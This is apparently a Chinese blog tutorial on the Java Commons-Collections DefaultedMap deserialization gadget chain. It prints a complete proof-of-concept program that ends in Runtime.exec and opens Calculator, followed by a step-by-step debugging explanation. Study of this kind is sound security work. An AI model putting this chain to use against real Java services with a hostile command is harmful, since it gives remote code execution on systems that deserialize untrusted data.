今天我打算整点儿不一样的内容,通过之前学习的TransformerMap和LazyMap链,想搞点不一样的,所以我关注了另外一条链DefaultedMap链,主要调用链为:

调用链详细描述:
ObjectInputStream.readObject()
DefaultedMap.readObject()
DefaultedMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

刚开始的方法和其他CC1链的方法是一样的,这里不再赘述,其实也就是这三步

主要讲一下在DefaultedMap里是如何进行调用的,首先我们看一下完整的EXP

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map; public class ExploitDemo implements Serializable {
private static final long serialVersionUID = 1L; public static void main(String[] args) throws Exception {
// 设置Transformer链,最终执行命令 'open -a Calculator' 以弹出macOS计算器
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class), // ConstantTransformer.transform() 返回Runtime.class
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), // InvokerTransformer.transform() 调用Class.getMethod() 获取getRuntime方法对象
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), // InvokerTransformer.transform() 调用Method.invoke() 获取Runtime实例
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open -a Calculator" }) // InvokerTransformer.transform() 调用Runtime.exec() 执行命令
}; // 使用ChainedTransformer将多个Transformer链接在一起
Transformer transformer = new ChainedTransformer(transformers); // ChainedTransformer.transform() 依次调用上面的每个Transformer // 创建DefaultedMap对象
Map<Object, Object> innerMap = new HashMap<>();
DefaultedMap defaultedMap = new DefaultedMap(transformer); // DefaultedMap.get() 如果key不存在,调用transformer.transform() // 通过反射将innerMap注入到DefaultedMap中
Field mapField = DefaultedMap.class.getSuperclass().getDeclaredField("map"); // 获取父类AbstractMapDecorator的map字段
mapField.setAccessible(true);
mapField.set(defaultedMap, innerMap); // 设置DefaultedMap的map字段为innerMap // 通过反射设置value字段
Field valueField = DefaultedMap.class.getDeclaredField("value"); // 获取DefaultedMap的value字段
valueField.setAccessible(true);
valueField.set(defaultedMap, transformer); // 设置DefaultedMap的value字段为ChainedTransformer实例 // 序列化DefaultedMap对象
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(defaultedMap); // 序列化defaultedMap对象
objectOutputStream.close(); byte[] serializedObject = byteArrayOutputStream.toByteArray(); // 通过ByteArrayOutputStream获取序列化后的字节数组 // 反序列化DefaultedMap对象
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializedObject);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
DefaultedMap deserializedMap = (DefaultedMap) objectInputStream.readObject(); // ObjectInputStream.readObject() 反序列化defaultedMap对象,触发DefaultedMap.readObject()
objectInputStream.close(); // 调用get方法以触发命令执行
deserializedMap.get("key"); // DefaultedMap.get() 调用ChainedTransformer.transform(),依次调用各个transformer,最终执行命令
}
}

我们来下断点调试一下,看看代码是如何进行命令执行的

首先还是创建一个数组,然后通过ChainedTransformer方法进行不断的调用

Transformer[] transformers = new Transformer[]
创建一个数组Transformer[] new ConstantTransformer(Runtime.class)
1.通过ConstantTransformer 的 transform 方法调用一个对象,返回 Runtime.class,即 java.lang.Runtime 类的 Class 对象。 new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
2.通过InvokerTransformer调用 Runtime.class.getMethod("getRuntime", new Class[0]) 获取名为 getRuntime 的方法对象,getMethod 方法签名为 Method getMethod(String name, Class<?>... parameterTypes),传入参数 new Class[] { String.class, Class[].class } 和 new Object[] { "getRuntime", new Class[0] } new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] })
3.通过 InvokerTransformer 调用 Method.invoke(null, new Object[0]) 获取 Runtime 类的实例,invoke 方法签名为 Object invoke(Object obj, Object... args),传入参数 new Class[] { Object.class, Object[].class } 和 new Object[] { null, new Object[0] }。 new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open -a Calculator" })
4.通过 InvokerTransformer 调用 Runtime.getRuntime().exec("open -a Calculator") 执行命令,exec 方法签名为 Process exec(String command),传入参数 new Class[] { String.class } 和 new Object[] { "open -a Calculator" }。

通过ChainedTransformer方法,递归调用transformers数组,每一个步骤的输出被作为下一步的输入。

然后继续往下跟

1.首先我们先创建一个Map对象,为什么后面会讲
Map<Object, Object> innerMap = new HashMap<>(); 2.传入transformer数组,因为defaultedMap 中获取一个不存在的键的值时,DefaultedMap 会使用 Transformer 对象的transform 方法来计算默认值,所以会调用我们的恶意数组链。
DefaultedMap defaultedMap = new DefaultedMap(transformer);

继续往下跟

1.DefaultedMap 类继承自 AbstractMapDecorator,getSuperclass() 方法返回 DefaultedMap 的直接父类AbstractMapDecorator,getDeclaredField("map") 方法返回 AbstractMapDecorator 类中的 map 字段(一个 Field 对象),反射是因为这个字段是私有的
Field mapField = DefaultedMap.class.getSuperclass().getDeclaredField("map"); 2.setAccessible(true) 方法允许通过反射访问私有字段。
mapField.setAccessible(true); 3.mapField.set 方法用于设置 defaultedMap 对象中 map 字段的值,这里将 defaultedMap 的 map 字段设置为 innerMap 对象,即用我们之前创建的 Map 对象替换 defaultedMap 内部的 Map 实现。
mapField.set(defaultedMap, innerMap);

继续往下跟

1.通过反射访问并修改了 DefaultedMap 类的 value 字段,getDeclaredField("value") 获取 DefaultedMap 类中名为 value 的字段.
Field valueField = DefaultedMap.class.getDeclaredField("value"); 2.setAccessible(true) 使得即使是私有字段也可以通过反射进行访问和修改
valueField.setAccessible(true); 3.通过 set 方法将 defaultedMap 对象的 value 字段设置为 transformer 对象。原因是当 DefaultedMap(Map map, Object value) 中的value获取一个不存在的键时,它将使用这个 transformer 对象来生成默认值。
valueField.set(defaultedMap, transformer);

继续往下跟

这里我也不废话,主要就是序列化数据和反序列化数据,通过ByteArrayOutputStream,提供了将数据写入字节数组的能力,toByteArray()方法是获取写入的所有数据的副本,作为一个新的字节数组,然后通过ByteArrayInputStream进行反序列化。

这里关键点需要注意的是以下这段代码,因为要能够使命令成功执行,必须要让DefaultedMap实现序列化接口,这里我们可以看到确实实现了,所以 DefaultedMap 实现了 Serializable 接口,它可以通过 ObjectInputStream 进行反序列化。在这个过程中,ObjectInputStream 会调用 DefaultedMap 的 readObject 方法,以恢复对象的状态。

可以看到我们下的断点位置已经通过反序列化调用了readObjcet方法

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {

  in.defaultReadObject();
//ObjectInputStream 的 defaultReadObject 方法。defaultReadObject 方法负责从输入流中读取对象的非静态和非瞬态字段的状态,并将它们恢复到当前对象中,这一步相当于默认的反序列化过程,它会根据序列化时写入的对象状态自动恢复这些字段的值。 map = (Map) in.readObject();
//这一行代码从输入流中读取一个对象,并将其强制转换为 Map 类型,然后赋值给 map 字段。这意味着 map 字段在反序列化过程中需要被显式地恢复。通过这种方式,可以确保 map 字段在反序列化后正确地指向原来的 Map 对象。
}

继续往下跟
 获得命令执行的原因是,通过触发readObjcet方法调用DefaultedMap的get方法,进行判断,当调用 get 方法尝试获取一个不存在的键(如 "key")时,DefaultedMap 会使用默认值生成器来生成值。在这里,默认值生成器是chainedTransformer,因此会调用 chainedTransformer.transform("key"),因为获取到一个不存在的值,DefaultedMap 会使用其默认值生成器(在这里是 ChainedTransformer)来生成默认值。由于 ChainedTransformer 包含了一系列的 Transformer,这些 Transformer 会依次调用,最终执行恶意命令。

然后我们可以下断点看下面的图

逐行解释一下命令执行的过程

if (map.containsKey(key) == false)
//检查 map 中是否包含指定的键 key。如果键不存在,代码继续执行内部逻辑;如果键存在,则直接返回键对应的值。 if (value instanceof Transformer)
//检查 DefaultedMap 的默认值 value 是否是 Transformer 类型,如果 value 是一个 Transformer 对象,则调用 Transformer 的 transform 方法来生成值,也就是调用了我们的恶意链 return ((Transformer) value).transform(key);
//当 get 方法调用 ((Transformer) value).transform(key) 时,实际上是调用 ChainedTransformer 的 transform 方法。ChainedTransformer 的 transform 方法会依次调用内部每个 Transformer;
ConstantTransformer 返回 Runtime.class;
InvokerTransformer 调用 getMethod("getRuntime", new Class[0]),获取 Runtime.getRuntime 方法;InvokerTransformer 调用 Runtime.getRuntime() 方法,获取 Runtime 实例;InvokerTransformer 调;
Runtime.exec("open -a Calculator") 方法,执行命令,打开计算器。

大家可以有机会自己写一下代码,调试一下就可以完全明白了,今天就到这里。Good night~

原创->CommonsCollections1-DefaultMap链的更多相关文章

  1. 链方法[C# 基础知识系列]专题三:如何用委托包装多个方法——委托链

    最近研究链方法,稍微总结一下,以后继续补充: 弁言: 上一专题分析了下编译器是如何来翻译委托的,从中间语言的角度去看委托,希望可以帮助大家进一步的理解委托,然而之前的分析都是委托只是封装一个方法,那委 ...

  2. 人民网基于FISCO BCOS区块链技术推出“人民版权”平台

    FISCO BCOS是完全开源的联盟区块链底层技术平台,由金融区块链合作联盟(深圳)(简称金链盟)成立开源工作组通力打造.开源工作组成员包括博彦科技.华为.深证通.神州数码.四方精创.腾讯.微众银行. ...

  3. 【转】iOS中修改AVPlayer的请求头信息

    在开发中, 我们经常需要在网络请求时修改HTTP/HTTPS的请求头信息 1.普通AFN请求 #import "LMHTTPSessionManager.h" #import &l ...

  4. 这款APP太像微信 腾讯起诉索赔1000万

    去年8月,“币应”(inChat)APP上线,号称是一款原创的区块链加密通讯工具,而界面与微信极为相似,图标是白配绿色调,内部界面几乎一模一样,通讯录.朋友圈的界面完全相同.里面的小游戏,也从微信拿来 ...

  5. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  6. Java安全之CC6

    前言 之前三篇详细分析了CommonsCollections1利用链,两种方法,LazyMap以及TransformedMap,但是在Javaa 8u71以后,这个利⽤链不能再利⽤了,主要原因是 su ...

  7. CC1,3,6回顾

    前言 前面陆续学习了CC1,CC3,CC6,以及TemplatesImpl以及改造,有点乱,正所谓温故而知新嘛,所以这篇就回顾一下,捋一捋,解决一些细节问题. CC1 由于CC1要介绍CC链的几个关键 ...

  8. 【原创】Ionic单页应用跳转外链,构造路由返回的解决办法及代码

    在开发广汽菲克微信企业号的填单审批webApp的时候出现了一个问题: 单据是带有附件的,而且存在各种不同的格式,需要后台处理后给前台链接地址,点击预览,微信浏览器的特性就是只能存在一个浏览器窗口, 这 ...

  9. 【原创】如何构建MIPS交叉编译工具链

    运行环境:Ubuntu12.04PC提前安装库:flex,bison,libncureses5-dev,texinfo,这些库提前apt-get install.需要重新安装:gawk(先apt-ge ...

  10. (O)JS:执行环境、变量对象、活动对象和作用域链(原创)

    var a=1; function b(x){ var c=2; console.log(x); } b(3); ·执行环境(execution context),也称为环境.执行上下文.上下文环境. ...

随机推荐

  1. #离线,倒序,线段树#Comet OJ - Contest #15 E 栈的数据结构题

    题目 初始时有 \(N\) 个空的栈,编号为 \(1 \sim N\),有以下三种类型的指令: push \(L\) \(R\) \(v\):把编号 \(L \sim R\) 这连续 \(R-L+1\ ...

  2. #博弈论#Poj 2484 A Funny Game

    题目 \(n\)个石子排成一圈,每次可以取一个或相邻的一对, 取完为胜,问先手是否必胜 分析 无论先手如何取,后手都能模仿先手的取法. 比如说,当石子个数为奇数时先手取相邻的一对,后手可以将对面的那一 ...

  3. OpenHarmony社区运营报告(2023年7月)

     本月快讯 • 2023年7月28日-29日,全球软件质量&效能大会(简称"QECon")圆满举行,OpenAtom OpenHarmony(简称"OpenHar ...

  4. OpenAtom OpenHarmony分论坛,今天14:00见!附大事记精彩发布

    2022开放原子全球开源峰会 OpenAtom OpenHarmony分论坛 万物互联,使能千行百业 整装待发!精彩今日揭晓与您相约7月27日 14:00  

  5. vs报错:RC1004 unexpected end of file found

    如图,在编译代码时,出现报错:RC1004  unexpected end of file found 原因是,cpp最后要多一行才行,不然就会报这个错误 错误示例: int main() { ret ...

  6. HTTP 使用指南

    0x1 初识 HTTP 协议 网页加载流程 graph LR A(user 输入网址)==>B(browser 进程) B==>C(处理输入信息) B-->D(页面加载完成) C== ...

  7. js 使用flow

    前言 what is flow?我想是的,很多人都没有接触过,的确,他是一个新的项目,是的facebook开发的东西,一般还是可以的,有必要去学习一下,在react还是比较重要的. 它做的一件事叫做静 ...

  8. 力扣196(MySQL)-删除重复的电子邮箱(简单)

    题目: 表: Person 编写一个 SQL 删除语句来 删除 所有重复的电子邮件,只保留一个id最小的唯一电子邮件. 以 任意顺序 返回结果表. (注意: 仅需要写删除语句,将自动对剩余结果进行查询 ...

  9. 牛客网-SQL专项训练15

    ①MySQL是一种(关系型)数据库管理系统. 关系型数据库的代表包括Oracle, Sql Server, MySQL. ②小李在创建完一张数据表后,发现少创建了一列,此时需要修改表结构,应该用哪个语 ...

  10. 牛客网-SQL专项训练7

    ①SQL语言可以分为多个类别,那么不属于数据操纵语言DML的是(B) 解析: SQL语言共分为四大类:数据查询语言DQL,数据操纵语言DML,数据定义语言DDL,数据控制语言DCL. 1. 数据查询语 ...